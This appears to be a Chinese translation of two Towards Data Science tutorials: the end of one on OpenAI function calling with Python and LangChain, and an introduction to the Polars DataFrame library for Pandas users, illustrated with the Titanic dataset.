(注意:在 OpenAI 文档中,我注意到 JSON 对象中有一个名为required
的元素,似乎表示参数必须存在,以便 ChatGPT 能够正确识别函数。我尝试过测试,但无论如何,这可能不是这种功能的工作方式,或者我做错了什么。无论如何,我确实不清楚这个required
参数的意义。😅)
这是我们需要如何构建我们的 JSON 对象以利用自定义函数:
my_custom_functions = [
{
'name': 'extract_person_info',
'description': 'Get "About Me" information from the body of the input text',
'parameters': {
'type': 'object',
'properties': {
'name': {
'type': 'string',
'description': 'Name of the person'
},
'job_title': {
'type': 'string',
'description': 'Job title of the person'
},
'num_children': {
'type': 'integer',
'description': 'Number of children the person is a parent to'
}
}
}
}
]
你可能已经对 JSON 语法很熟悉了,不过让我稍微提一下与每个属性相关的数据类型。如果你像我一样是 Python 开发人员,请注意,这种 JSON 结构的数据类型与我们在 Python 中定义的数据结构并不完全相同。一般来说,我们可以找到一些工作得不错的等效类型,但如果你想了解更多关于这种 JSON 结构的具体数据类型,请查看这个文档。
现在我们准备进行 API 调用以获取结果!使用 Python 客户端,你会注意到语法非常类似于我们通常获取完成的方式。我们只是要在此调用中添加一些额外的参数,代表我们的函数调用:
# Getting the response back from ChatGPT (gpt-3.5-turbo)
openai_response = openai.ChatCompletion.create(
model = 'gpt-3.5-turbo',
messages = [{'role': 'user', 'content': about_me}],
functions = my_custom_functions,
function_call = 'auto'
)
print(openai_response)
如你所见,我们只是将自定义函数列表(在我们的例子中是单个自定义函数)作为functions
参数传递,并且你会注意到一个名为function_call
的额外参数,我们将其设置为auto
。目前不必担心这个auto
,因为我们将在下一节回顾这个auto
的作用。
让我们运行这段代码,看看 ChatGPT 的完整 API 响应
使用单个函数的函数调用(由作者捕捉)
大多数情况下,这个响应看起来与非函数调用响应相同,但现在响应中多了一个额外的字段,叫做function_call
,在这个字典下嵌套了两个额外的项目:name
和arguments
。name
表示我们将用 ChatGPT 的输出调用的自定义函数的名称,而arguments
包含一个字符串,我们可以使用json.loads()
将其加载为 JSON 对象,从而加载我们的自定义函数参数。
注意,现在我们获得的结果比之前函数调用方法的结果要一致得多。现在我们可以保证键值对的键和值的数据类型将是一致的。无需复杂的提示工程或正则表达式!
这就是 OpenAI 函数调用的核心!当然,这只是一个非常简单的示例来帮助你入门,但你可能还有其他问题。我们将在下一节讨论这些问题。
那么…怎么办呢?
上一部分介绍了如何启用函数调用的一个非常简单的示例,但如果你像我一样,可能会有一些额外的问题。自然,我不能涵盖所有这些问题,但我确实想要探讨两个比上一部分稍微复杂一些的问题。
如果我提交的提示中不包含我自定义函数所需的信息会怎样?
在我们的原始示例中,我们的自定义函数旨在提取三个非常具体的信息点,我们通过传入我的自定义“关于我”文本作为提示来成功演示了这一点。但你可能会想,如果你传入任何其他不包含这些信息的提示会发生什么?
记住,我们在 API 客户端调用中设置了一个名为 function_call
的参数,我们将其设置为 auto
。我们将在下一*节中更深入地探讨这个问题,但这个参数的本质作用是告诉 ChatGPT 在何时使用自定义函数来构建输出。
那么,当我们提交一个不匹配任何自定义函数的提示时会发生什么呢?简单来说,它将默认采用典型行为,好像函数调用不存在一样。我们用一个任意提示来测试一下:“埃菲尔铁塔有多高?”
函数调用,但提示不匹配函数(作者拍摄)
如你所见,我们得到了典型的“完成”输出,尽管我们传入了自定义函数。自然,这也很合理,因为这个任意的埃菲尔铁塔提示中不包含我们所寻找的具体信息。
如果我想传递多个自定义函数,而其中一些函数具有重叠的参数怎么办?
简而言之,ChatGPT 能够智能地处理这个问题。我们之前将一个自定义函数作为 Python 字典列表传入,现在我们只需继续向这个列表中添加更多 Python 字典,每个字典表示一个不同的函数。我们来添加两个新函数:一个叫做 extract_vehicle_info
,另一个叫做 extract_all_info
。调整后的语法如下:
# Defining a function to extract only vehicle information
def extract_vehicle_info(vehicle_make, vehicle_model):
'''
Prints basic vehicle information
Inputs:
- vehicle_make (str): Make of the vehicle
- vehicle_model (str): Model of the vehicle
'''
print(f'Vehicle make: {vehicle_make}\nVehicle model: {vehicle_model}')
# Defining a function to extract all information provided in the original "About Me" prompt
def extract_vehicle_info(name, job_title, num_children, vehicle_make, vehicle_model, company_name, favorite_vg_series):
'''
Prints the full "About Me" information
Inputs:
- name (str): Name of the person
- job_title (str): Job title of the person
- num_chilren (int): The number of children the parent has
- vehicle_make (str): Make of the vehicle
- vehicle_model (str): Model of the vehicle
- company_name (str): Name of the company the person works for
- favorite_vg_series (str): Person's favorite video game series.
'''
print(f'''
This person\'s name is {name}. Their job title is {job_title}, and they have {num_children} children.
They drive a {vehicle_make} {vehicle_model}.
They work for {company_name}.
Their favorite video game series is {favorite_vg_series}.
''')
# Defining how we want ChatGPT to call our custom functions
my_custom_functions = [
{
'name': 'extract_person_info',
'description': 'Get "About Me" information from the body of the input text',
'parameters': {
'type': 'object',
'properties': {
'name': {
'type': 'string',
'description': 'Name of the person'
},
'job_title': {
'type': 'string',
'description': 'Job title of the person'
},
'num_children': {
'type': 'integer',
'description': 'Number of children the person is a parent to'
}
}
}
},
{
'name': 'extract_car_info',
'description': 'Extract the make and model of the person\'s car',
'parameters': {
'type': 'object',
'properties': {
'vehicle_make': {
'type': 'string',
'description': 'Make of the person\'s vehicle'
},
'vehicle_model': {
'type': 'string',
'description': 'Model of the person\'s vehicle'
}
}
}
},
{
'name': 'extract_all_info',
'description': 'Extract all information about a person including their vehicle make and model',
'parameters': {
'type': 'object',
'properties': {
'name': {
'type': 'string',
'description': 'Name of the person'
},
'job_title': {
'type': 'string',
'description': 'Job title of the person'
},
'num_children': {
'type': 'integer',
'description': 'Number of children the person is a parent to'
},
'vehicle_make': {
'type': 'string',
'description': 'Make of the person\'s vehicle'
},
'vehicle_model': {
'type': 'string',
'description': 'Model of the person\'s vehicle'
},
'company_name': {
'type': 'string',
'description': 'Name of the company the person works for'
},
'favorite_vg_series': {
'type': 'string',
'description': 'Name of the person\'s favorite video game series'
}
}
}
}
]
特别注意 extract_all_info
如何覆盖与我们原始的 extract_person_info
函数一些相同的参数,那么 ChatGPT 如何知道选择哪个函数?简单来说,ChatGPT 寻找最佳匹配。如果我们传入的提示包含了 extract_all_info
函数所需的所有参数,它就会选择这个函数。但如果我们仅传入包含简单的个人信息或关于车辆的提示,它将利用相应的函数来处理。我们在这里用一些示例代码来执行这个操作:
-
示例 1:原始的“关于我”文本。(见上文。)
-
示例 2:“我的名字是 David Hundley。我是一名首席机器学习工程师,我有两个女儿。”
-
示例 3:“她开的是一辆起亚智跑。”
示例 #1 的结果(作者捕获)
示例 #2 的结果(作者捕获)
示例 #3 的结果:
在每个相应的提示中,ChatGPT 选择了正确的自定义函数,我们可以特别注意到 API 响应对象中function_call
下的name
值。除了这是识别哪个函数使用参数的便捷方式外,我们还可以将实际的自定义 Python 函数程序化地映射到这个值上,以正确地运行代码。如果这不太清楚,也许查看代码会更明白:
# Iterating over the three samples
for i, sample in enumerate(samples):
print(f'Sample #{i + 1}\'s results:')
# Getting the response back from ChatGPT (gpt-3.5-turbo)
openai_response = openai.ChatCompletion.create(
model = 'gpt-3.5-turbo',
messages = [{'role': 'user', 'content': sample}],
functions = my_custom_functions,
function_call = 'auto'
)['choices'][0]['message']
# Checking to see that a function call was invoked
if openai_response.get('function_call'):
# Checking to see which specific function call was invoked
function_called = openai_response['function_call']['name']
# Extracting the arguments of the function call
function_args = json.loads(openai_response['function_call']['arguments'])
# Invoking the proper functions
if function_called == 'extract_person_info':
extract_person_info(*list(function_args.values()))
elif function_called == 'extract_vehicle_info':
extract_vehicle_info(*list(function_args.values()))
elif function_called == 'extract_all_info':
extract_all_info(*list(function_args.values()))
最终程序结果!(作者捕获)
注意事项:为了完全透明,我必须多次运行那段代码才能使其产生这样的结果。问题在于,因为extract_person_info
和extract_all_info
的性质较为相似,ChatGPT 经常把它们混淆在一起。我猜这里的教训是,你的函数应该提取不同的信息。我也仅使用了gpt-3.5-turbo
进行测试,因此可能像 GPT-4 这样更强大的模型可能处理得更好。
2023 年 7 月 28 日更新:我添加了一个关于如何与 LangChain 配合使用的新部分!
OpenAI 函数调用与 LangChain
鉴于 LangChain 的广泛使用,我认为了解如何在该框架内使用相同的函数调用能力可能会有用。对于熟悉 LangChain 的人,你可能已经知道 LangChain 提供了自己的解析能力,这些解析能力主要通过先进的提示工程实现。
如果你已经在使用这些 LangChain 解析器,你可能会想,“我是否应该转向使用 OpenAI 函数调用以获得更好的性能?” 不幸的是,没有一个明确的答案,因为 OpenAI 已经抽象化了实现函数调用的方式。(相信我,我深入挖掘了 OpenAI 客户端源代码,这一行显示它确实被抽象化了!)如果你已经在使用 LangChain 的解析器,我可能建议你继续使用这些解析器,特别是因为它们对于其他 LLM 也具有可移植性。
好消息是,如果你想同时利用 OpenAI 的函数调用和其他 LangChain 功能(并且可以接受只传入一个函数调用模板),你完全可以做到这一点!我不会在这篇文章中深入介绍 LangChain,但我会展示如何快速启用它的代码。这本质上涉及到导入一些 LangChain 对象,并将它们作为我们已经创建的内容的“包装器”。
在继续之前,还有一个问题是 LangChain 的实现……它似乎不允许我们一次提交多个函数调用模板。此外,我们还需要重新格式化 JSON 架构以适应这个特定的实现。它看起来非常相似。我们来做一个逐对比。以下是原生 OpenAI 函数调用的 JSON 架构:
native_json_schema = {
'name': 'extract_vehicle_info',
'description': 'Extract the make and model of the person\'s car',
'parameters': {
'type': 'object',
'properties': {
'vehicle_make': {
'type': 'string',
'description': 'Make of the person\'s vehicle'
},
'vehicle_model': {
'type': 'string',
'description': 'Model of the person\'s vehicle'
}
}
}
}
这里是重新格式化后的版本的样子:
langchain_json_schema = {
'name': 'extract_vehicle_info',
'description': 'Extract the make and model of the person\'s car',
'type': 'object',
'properties': {
'vehicle_make': {
'title': 'Vehicle Make',
'type': 'string',
'description': 'Make of the person\'s vehicle'
},
'vehicle_model': {
'title': 'Vehicle Model',
'type': 'string',
'description': 'Model of the person\'s vehicle'
}
}
}
这个*代码片段将展示如何执行与上述相同的功能,只不过这次是使用 LangChain!
# Importing the LangChain objects
from langchain.chat_models import ChatOpenAI
from langchain.chains import LLMChain
from langchain.prompts.chat import ChatPromptTemplate
from langchain.chains.openai_functions import create_structured_output_chain
# Setting the proper instance of the OpenAI model
llm = ChatOpenAI(model = 'gpt-3.5-turbo-0613')
# Setting a LangChain ChatPromptTemplate
chat_prompt_template = ChatPromptTemplate.from_template('{my_prompt}')
# Setting the JSON schema for extracting vehicle information
langchain_json_schema = {
'name': 'extract_vehicle_info',
'description': 'Extract the make and model of the person\'s car',
'type': 'object',
'properties': {
'vehicle_make': {
'title': 'Vehicle Make',
'type': 'string',
'description': 'Make of the person\'s vehicle'
},
'vehicle_model': {
'title': 'Vehicle Model',
'type': 'string',
'description': 'Model of the person\'s vehicle'
}
}
}
# Defining the LangChain chain object for function calling
chain = create_structured_output_chain(output_schema = langchain_json_schema,
llm = llm,
prompt = chat_prompt_template)
# Getting results with a demo prompt
print(chain.run(my_prompt = 'I drive a Tesla Model 3.'))
如下图所示,我们得到的结果与之前完全相同。
LangChain 调用的输出(截图由作者捕获)
总结
我希望你现在能理解为什么函数调用会如此强大!在构建利用生成式 AI 的应用程序时,这种函数调用对程序员来说是一个福音。由于现在不必过多担心输出的 JSON 结构,我们可以将时间集中在构建应用程序的其他部分。现在在这个领域工作是一个绝妙的时机。
《Pandas 用户的 Polars 介绍》
原文:
towardsdatascience.com/an-introduction-to-polars-for-pandas-users-2a52b2a03017
展示如何使用这个全新的、极速的 DataFrame 库与表格数据进行交互
·发表于 Towards Data Science ·17 min 阅读·2023 年 3 月 5 日
--
标题卡由作者创建
如果你像我一样,可能会听到很多关于这个新 Polars 库的宣传,但不确定它是什么或如何开始使用。如果你完全陌生,理解 Polars 最简单的方式是,它是一个比传统的 Pandas DataFrame 库更快的替代品。本文将专注于 Polars 的 Python 实现,但请注意,它也可以与越来越流行的 Rust 语言一起使用。
在继续之前,让我首先表达我对任何新软件的谨慎乐观态度。总是有一个大问题:“这会变得主流吗?”不幸的是,我已经见证了太多次一款很酷的软件在最初引起了大量关注,但后来却逐渐消失。关于 Polars,我认为现在做出长期的判断为时尚早,但我将在本文的末尾提供我对 Polars 的个人看法。
本介绍指南专门为那些已经熟悉 Pandas 库的人编写,我将直接比较 Polars 和 Pandas 的语法和性能。如果你希望更顺畅地跟随,请 在 GitHub 上查找我的代码。为了演示的目的,我们将使用 经典的 Titanic 数据集。另外,为了说明我展示的性能指标,我将在一台标准的 2021 年 MacBook Pro M1 Pro 芯片上进行所有操作。(我还在运行 Windows 11 的 Microsoft Surface Pro 9 上进行了测试,并确认它的表现类似。)
在深入文章主体之前的最后一点说明:Polars 仍处于非常早期的生命周期阶段,所以即使 6 个月后,本文的内容也可能已经过时,不要感到惊讶。
好的,让我们开始探索 Polars 吧! 🐻❄️
安装
幸运的是,安装 Polars 非常简单。你可以像安装其他 Python 库一样安装 Polars。这里是从 PyPI 安装 Polars 的具体命令。
pip install polars
在本指南的过程中,我们有时需要在 Pandas 和 Polars 之间进行一些转换。(是的,这并不理想,我更愿意避免这种情况,但目前,这是解决我遇到的一些问题的唯一方法。)为此,你还需要安装 PyArrow Python 库。与安装 Polars 类似,我们可以运行以下命令从 PyPI 安装 PyArrow。
pip install pyarrow
最后的安装步骤是可选的,但你可能会发现它对未来的工作很有用。正如介绍中提到的,我打算演示 Pandas 与 Polars 的性能对比,而在 Jupyter notebook 中进行这项工作时,我们可以运行 Jupyter 魔法命令%% time
来输出每个特定单元格的运行时间。这自然会变得非常繁琐,幸运的是,我们可以安装一个特殊的 Jupyter 扩展,它会在每个运行的单元格下方自动显示一个*文本行来显示运行时间。为此,我们需要在你的 CLI 中运行以下 3 个命令。
pip install jupyter_contrib_nbextensions
jupyter contrib nbextension install --user
jupyter nbextension enable execute_time/ExecuteTime
上述命令所启用的是 Jupyter 用户界面中的一个新切换按钮,它可以正确显示每个单元格运行的运行时间。要在 Jupyter notebook 界面中启用此功能,导航到 Cell > Execution Timings
并选择 Toggle Visibility (all)
。下面的截图也恰当地演示了这一点。
作者捕捉的截图
开始使用
在这一部分,我们将展示一些常见命令,许多数据科学家和机器学习工程师在处理任何新数据集时都喜欢先运行这些命令。作为提醒,我们将使用 Titanic 数据集,我已经将其保存为 CSV 文件在一个相邻的目录中。
导入 Pandas 和 Polars
当然,我们首先需要适当地导入各自的 Python 库。正如 Pandas 用户所知道的,Pandas 在导入时几乎被别名为 pd
。同样,Polars 也通常用两个字母 pl
作为别名。
# Importing Pandas and Polars
import pandas as pd
import polars as pl
从 CSV 文件加载数据
在这篇文章中,你会发现 Polars 和 Pandas 有时在做事情的方式上会非常不同,而有时语法则完全相同。幸运的是,这第一次示例中从 Pandas 到 Polars 的语法是完全相同的。下面的代码展示了这种相似性。
# Setting the filepath where I have saved the Titanic dataset locally
TITANIC_FILEPATH = '../data/titanic/train.csv'
# Loading the Titanic dataset with Pandas
df_pandas = pd.read_csv(TITANIC_FILEPATH)
# Loading the Titanic dataset with Polars
df_polars = pl.read_csv(TITANIC_FILEPATH)
在继续之前,让我们开始讨论这些库的性能。正如下面的截图所示,Polars 的加载比 Pandas 的加载快了 1 毫秒。透明地说,每次运行这些单元格时我得到的结果不同,但我可以说 Polars 一直比较快。这将是本文中的一个反复出现的主题。
作者截图
查看每个 DataFrame 的前几行
在加载 CSV 文件后,我喜欢做的第一件事就是查看 DataFrame 的前几行,以便了解我正在处理的数据。从语法角度来看,Pandas 用户会发现 Polars 的实现完全相同,使用起来非常得心应手。
# Viewing the first few rows of the Pandas DataFrame
df_pandas.head()
# Viewing the first few rows of the Polars DataFrame
df_polars.head()
尽管语法相同,但 Pandas 和 Polars 之间的输出有趣地不同,而且大部分情况下,我实际上非常喜欢 Polars 在这里显示的输出。正如你在下面看到的,Polars 直接在每个特征的名称下方显示每个特征的数据类型。此外,基于字符串的列的语法会将值用双引号括起来。我个人非常喜欢这一点,因为 Pandas 对每列的数据类型并不特别明确,尤其是字符串列。Polars 唯一奇怪的地方是,它不会像 Pandas 那样将每行的索引值显示在左侧。需要明确的是,索引值仍然存在,只是没有在此视图中显示。(还要注意,Polars 在这个实例中运行速度是 Pandas 的两倍。)
作者截图
查看 DataFrame 的信息
到目前为止,这两个库的语法一直相同,但现在我们进入它们在功能上开始大相径庭的部分。Pandas 用户会熟悉两个函数,它们分别展示关于 DataFrame 的信息:info()
和 describe()
。info()
显示诸如特征名称、数据类型和空值等信息,而 describe()
显示与每个特征相关的一般统计数据,如均值和标准差。以下是 Pandas 代码以及每个函数输出的截图。
# Viewing the general contents of the Pandas DataFrame
df_pandas.info()
# Viewing stats about the Pandas DataFrame
df_pandas.describe()
作者截图
在这方面,Polars 与 Pandas 大相径庭。首先,它没有 info()
命令。相反,它将 describe()
命令进行了一定程度的融合,将我们习惯于看到的 Pandas info()
和 describe()
函数的输出合并成一个单一的输出。以下是其样子。
# Viewing information about the Polars DataFrame
df_polars.describe()
作者截图
说实话,我对这个实现的感受有些复杂。一方面,我认为 Polars 的输出更清楚地显示了空值的数量,因为你需要做一点心理数学来理解 Pandas 输出中的空值数量。但另一方面,Polars 丢失了 Pandas 提供的信息,如四分位数范围值。还要注意,在 Pandas 的 describe()
输出中,它合理地排除了基于字符串的列,而 Polars 仍然保留它们。我通常不会在意,但如果你看看“性别”特征的“最*”和“最大”值,例如,它给出了一些……嗯……不太令人愉快的结果!
显示特定特征的值计数
另一件我喜欢在开始使用分类数据集时做的事情是查看每个分类特征的值计数。幸运的是,我们回到了 Pandas 用户会熟悉的类似语法,只是你会注意到输出略有不同。
# Viewing the values associated to the "Embarked" column in the Pandas DataFrame
df_pandas['Embarked'].value_counts()
# Viewing the values associated to the "Embarked" column in the Polars DataFrame
df_polars['Embarked'].value_counts()
作者截图
正如你所看到的,Polars 的输出实际上更具信息性,因为它包含了空值的数量,而 Pandas 的输出完全没有提到空值。这是一个我必须承认 Polars 绝对胜出的例子。这真的很方便!
数据整理
现在我们已经探索了一些非常初步的命令,让我们进入数据整理的更复杂功能。在本节中,我们将探讨一些常见的整理策略,并继续比较 Pandas 和 Polars。
获取 DataFrame 的切片
记得我提到过 Polars 在 head()
输出中没有显示每行的索引值,但它们仍然存在吗?我们可以通过演示如何获取每个 DataFrame 的切片来证明这一点。幸运的是,Polars 和 Pandas 的语法和输出在这里完全相同。此外,快速查看我们的性能指标,注意到 Polars 执行切片的速度是 Pandas 的两倍。
# Getting a slice of the Pandas DataFrame using index values
df_pandas[15:30]
# Getting a slice of the Polars DataFrame using index values
df_polars[15:30]
作者截图
按特征值过滤 DataFrame
在我们将在这篇文章中展示的所有内容中,这是我们可以以多种不同方式执行相似功能的领域。我不会尝试演示所有方法,因此我选择了以下方式来展示 Polars 如何以略有不同的语法模拟 Pandas 的相似功能。下面是提取所有代表泰坦*克号上青少年的行的代码。(由于有 95 名青少年,输出有点长,因此我不会显示输出。只需知道输出确实是相同的。)
# Extracting teenagers from the Pandas DataFrame
df_pandas[df_pandas['Age'].between(13, 19)]
# Extracting teenagers from the Polars DataFrame
df_polars.filter(df_polars['Age'].is_between(13, 19))
再次,我们可以通过不同的语法在 Pandas 和 Polars 中实现相同的结果。我想强调的是,官方 Polars 文档演示了我上面做的事情,使用了我认为比较奇怪的语法。当我使用df_polars['Age']
来引用 Polars DataFrame 中的“Age”列时,官方文档推荐使用这种语法:pl.col('Age')
。输出是完全相同的,所以说哪一种都是对的也未必。你会觉得 Polars 应该尽可能地展示与 Pandas 类似的内容,因为大多数使用 Polars 的人都是 Pandas 用户,正如我成功展示的那样,df_polars['Age']
的类选择效果很好。这在 Polars 文档中实际上很常见,因此请注意,尽管文档可能说一回事,但你可能可以使用你已经熟悉的更经典的语法。
填充 Null 值
到目前为止,我们对 Polars 的体验从中性到积极。遗憾的是,在这个特定的功能上,我们开始进入一些负面领域。在 Pandas 中,用 null 值填充一列是相对简单的,我们甚至可以直接使用inplace
参数来完成填充。
# Filling "Embarked" nulls in the Pandas DataFrame
df_pandas['Embarked'].fillna('S', inplace = True)
不幸的是,Polars 在这里有点奇怪。首先,没有inplace
参数的等效项,这实际上是 Polars 中一个反复出现的主题,我们稍后会再次看到。此外,Polars 实际上有两个不同的填充 null 值的函数:fill_null()
和fill_nan()
。查看每个函数的文档,我诚实地告诉你我不明白为什么选择其中一个而不是另一个。(当然,这可能是我自己的无知。)在下面的代码块中,我使用了fill_null()
函数,其效果与 Pandas 的fillna()
相同。
# Filling "Embarked" nulls in the Polars DataFrame
df_polars = df_polars.with_columns(df_polars['Embarked'].fill_null('S'))
按特征名称分组数据
为了更深入地理解数据,数据从业者通常会将数据分组以了解数据组可能带来的新见解。在这方面,Pandas 用户会非常熟悉groupby()
函数。不幸的是,Polars 确实也有一个groupby()
函数,但它的输出却大相径庭。Pandas 用户会发现这种差异很突兀,我坦率地说没有找到使用不同 Polars 语法来模拟 Pandas 输出的方法。(当然,我承认我没有尝试得很认真。😅)见下文,如何用相同的语法在每个库中产生截然不同的结果。
# Grouping data by ticket class and gender to view counts in the Pandas DataFrame
df_pandas.groupby(by = ['Pclass', 'Sex']).count()
# Grouping data by ticket class and gender to view counts in the Polars dataframe
df_polars.groupby(by = ['Pclass', 'Sex']).count()
作者截图
特征工程
虽然特征工程确实可以被视为数据处理的一种类型,但我决定将其分开成独立的部分,因为它与我过去做的其他工作相关。作为 GitHub 上这个笔记本 的一部分,我展示了如何对 Titanic 数据集进行特征工程。我们不会在这一部分覆盖每一个特征工程,但我们会展示一些内容,以便你可以了解这些相同的工作在 Pandas 和 Polars 中的比较。我们将通过使用以下代码从头开始重新加载每个 DataFrame 来重新开始。
# Reloading each DataFrame from scratch
df_pandas = pd.read_csv(TITANIC_FILEPATH)
df_polars = pl.read_csv(TITANIC_FILEPATH)
删除不必要的特征
在几乎所有你会处理的数据集中,你都会发现一些无关的特征,这些特征在传递给任何机器学习算法之前需要被删除。虽然在 Polars 中这并不困难,但请记住,Polars 的函数没有类似 inplace
参数,这样我们就无法就地更新 Polars DataFrame。下面是两种库中删除特征的语法。
# Dropping unnecessary features from the Pandas DataFrame
df_pandas.drop(columns = ['PassengerId', 'Name', 'Ticket', 'Cabin'], inplace = True)
# Dropping unnecessary features from the Polars DataFrame
df_polars = df_polars.drop(columns = ['PassengerId', 'Name', 'Ticket', 'Cabin'])
对分类特征进行独热编码
还记得我最开始提到我们必须安装 PyArrow 以将我们的 Polars DataFrame 转换为 Pandas DataFrame 吗?好吧,这就是我们必须这么做的第一个实例。我个人更喜欢使用 Category Encoder 的独热编码实现 来进行独热编码。为了说明,这里是安装后如何导入它。
# Importing the one-hot encoding object from Category Encoders
from category_encoders.one_hot import OneHotEncoder
如果我们使用 Pandas 对“性别”(即性别)特征进行独热编码,以下是语法示例。
# Instantiating One Hot Encoder objects for the Pandas DataFrame
sex_ohe_encoder_pandas = OneHotEncoder(use_cat_names = True, handle_unknown = 'ignore')
# Performing a one hot encoding on the "Sex" column for the Pandas DataFrame
sex_dummies_pandas = sex_ohe_encoder_pandas.fit_transform(X_pandas['Sex'])
# Concatenating the gender dummies back to the original Pandas DataFrame
X_pandas = pd.concat([X_pandas, sex_dummies_pandas], axis = 1)
# Dropping the original "Sex" column in the Pandas DataFrame
X_pandas.drop(columns = ['Sex'], inplace = True)
不幸的是,Category Encoder 的 OneHotEncoder
并未设置为与 Polars 一起使用。如果我们直接运行以下代码,我们会看到下面截图中的错误。
# Performing a one hot encoding on the "Sex" column for the Polars DataFrame
sex_dummies_polars = sex_ohe_encoder_polars.fit_transform(X_polars['Sex'])
作者截图
有一种解决方法,但不幸的是,这不会是我们第一次遇到类似的破坏性问题。下面是使用 Polars 执行独热编码的完整解决方法。请注意,在将 Polars DataFrame 拟合到 OneHotEncoder
对象之前,我们首先需要将其转换为 Pandas DataFrame。然后在转换后,我们可以简单地将其转换回 Polars DataFrame。
# Instantiating One Hot Encoder objects for the Polars DataFrame
sex_ohe_encoder_polars = OneHotEncoder(use_cat_names = True, handle_unknown = 'ignore')
# Performing a one hot encoding on the "Sex" column for the Polars DataFrame
sex_dummies_polars = sex_ohe_encoder_polars.fit_transform(X_polars['Sex'].to_pandas())
# Converting the Polars dummies from a Pandas DataFrame to a Polars DataFrame
sex_dummies_polars = pl.from_pandas(sex_dummies_polars)
# Concatenating the gender dummies back to the original Polars DataFrame
X_polars = pl.concat([X_polars, sex_dummies_polars], how = 'horizontal')
# Dropping the original "Sex" column in the Polars DataFrame
X_polars = X_polars.drop(columns = ['Sex'])
最后,请注意,Polars 的 concat()
函数的实现与 Pandas 有些不同。Pandas 使用 axis
参数来指示如何执行连接,而 Polars 则使用 how
和基于字符串的值。我个人更喜欢 Polars 在这里的实现。
数值数据分箱
我选择执行“年龄”特征工程的方式是将其分箱为适当的年龄组。例如,13 至 19 岁的人被分类为青少年,而 60 岁以上的人被认为是老年人。Pandas 有一个非常好的函数叫做cut()
,可以根据你提供的输入正确地进行分箱。这是执行此操作的语法。
# Establishing our bins values and names
bin_labels = ['child', 'teen', 'young_adult', 'adult', 'elder']
bin_values = [-1, 12, 19, 30, 60, 100]
# Applying "Age" binning for the Pandas DataFrame
age_bins_pandas = pd.DataFrame(pd.cut(X_pandas['Age'], bins = bin_values, labels = bin_labels))
Polars 确实提供了自己实现的cut()
函数,但其输出与 Pandas 的差异非常大,以至于我个人觉得无法使用。这是该代码的语法和输出。
# Applying "Age" binning for the Polars DataFrame
age_bins_polars = pl.cut(X_polars['Age'], bins = bin_values)
age_bins_polars.head()
作者捕获的截图
看输出结果,实际上看起来分箱操作确实有效,但它做了一些奇怪的事情。首先,它没有使用我通过bin_labels
数组建立的语义名称。其次,它没有保持传入函数的行顺序。相反,你可以看到 Polars 的输出现在已经按照从最低值(即最年轻的年龄)开始的升序排序。我相信我可以找到第一个问题的解决方法,但第二个问题使得这个输出对我来说毫无用处。诱惑是将年龄与原始 DataFrame 匹配,但正如你在这个简单的输出中看到的,行 4 和行 5 有相同的0.75
值。虽然在这个特定用例中可能没问题,但这种做法对不同的数据集可能是危险的。
(注:在我草拟这篇文章时,我从 Polars 0.16.8 升级到 0.16.10,在这个版本中,Polars 的cut()
函数现在被弃用,取而代之的是使用 Polars Series 实现的cut()
。似乎这个新实现没有解决问题,在发布时,一个 GitHub 问题已被指出请求添加行索引保留。一般来说,这是一个很好的提醒,Polars 仍处于早期阶段!)
机器学习中的预测建模
最后的部分将简要介绍,因为不幸的是,这是 Polars 最终对我来说表现不佳的地方,至少在发布这篇文章的时候是这样。类似于我在之前的 Titanic 项目中为特征工程创建 Jupyter 笔记本的方式,我将尝试模拟在我原来的 Titanic 预测建模笔记本中完成的相同步骤。
执行训练-测试拆分
任何良好的机器学习实践的标志,下面的代码演示了如何进行训练-测试(或训练-验证)拆分,以保留数据集用于后续模型验证。由于我们将使用 Scikit-Learn 的train_test_split
函数,这里没有太多需要注意的,因为 Pandas 和 Polars DataFrames 的语法完全相同。我只是想强调,今天这在 Polars 中开箱即用,无需任何特殊的解决方法。 😃
# Importing Scikit-Learn's train_test_split function
from sklearn.model_selection import train_test_split
# Performing a train-validation split on the Pandas data
X_train_pandas, X_val_pandas, y_train_pandas, y_val_pandas = train_test_split(X_pandas, y_pandas, test_size = 0.2, random_state = 42)
# Performing a train-validation split on the Polars data
X_train_polars, X_val_polars, y_train_polars, y_val_polars = train_test_split(X_polars, y_polars, test_size = 0.2, random_state = 42)
执行预测建模
我们终于来到了 Polars 不幸出错的地方。在下面的代码中,我演示了如何将 Pandas DataFrames 适配到 Scikit-Learn 的随机森林分类器,这应该会在那个漂亮的蓝色框中产生输出。
# Instantiating a Random Forest Classifier object for the Pandas DataFrame
rfc_model_pandas = RandomForestClassifier(n_estimators = 50,
max_depth = 20,
min_samples_split = 10,
min_samples_leaf = 2)
# Fitting the Pandas DataFrame to the Random Forest Classifier algorithm
rfc_model_pandas.fit(X_train_pandas, y_train_pandas.values.ravel())
作者捕获的截图
不幸的是,当尝试用 Polars DataFrame 做同样的事情时,我遇到了瓶颈。当我尝试运行下面的代码块时,我收到了下图中的错误。
# Instantiating a Random Forest Classifier object for the Polars DataFrame
rfc_model_polars = RandomForestClassifier(n_estimators = 50,
max_depth = 20,
min_samples_split = 10,
min_samples_leaf = 2)
# Fitting the Polars DataFrame to the Random Forest Classifier algorithm
rfc_model_polars.fit(X_train_polars, y_train_polars.values.ravel())
作者捕获的截图
我花了一个*时仔细检查 Scikit-Learn 的源代码,以了解这里发生了什么,但仍然不太确定为什么它无法像 Pandas DataFrames 一样一致地读取 Polars DataFrame 的形状。当运行像 df_polars.shape
这样的命令时,它始终显示与相关 Pandas 命令相同的输出。这确实让人困惑。
现在透明地说,Scikit-Learn 是我为此实验尝试的唯一算法库。你可能会在其他算法库如 XGBoost 或 LightGBM 中遇到不同的结果,但老实说,我倾向于相信大多数 — 如果不是全部的话 — 都会有与 Scikit-Learn 相同的问题。(这是一个坦率的天真假设,所以请检查我的工作!😂)
结论
一般来说,我对 Polars 的表现非常满意。我们 consistently 看到 Polars 的性能更快,虽然这是一个相对简单的用例,但我可以想象这些性能提升在大规模应用时会显著感受到。我也非常喜欢其他功能,比如使用 head()
函数时显示每个特征的数据类型。像这样的细节比预期的更受我们这些人喜欢。
不幸的是,基于目前的状态,我无法推荐 Polars 用于“黄金时间”的机器学习生产场景。(提醒:截至本出版时,最新版本为 0.16.10)。我发现的 cut()
函数问题以及无法与 Category Encoders 或 Scikit-Learn 的随机森林分类器集成对我来说都是无法接受的。我想这种障碍在现在习惯使用 Pandas 的许多其他库中也存在。
如果我是一名纯粹的数据分析师,而不是进行机器学习,或许 Polars 可以在那个特定的环境下使用。目前,Polars 遇到的最大麻烦似乎是在尝试与其他库集成时。(这当然不是 Polars 的错!)我能理解数据分析师可能只使用 Polars 而没有其他库,在这种情况下,请*心使用。(*心不要被 cut()
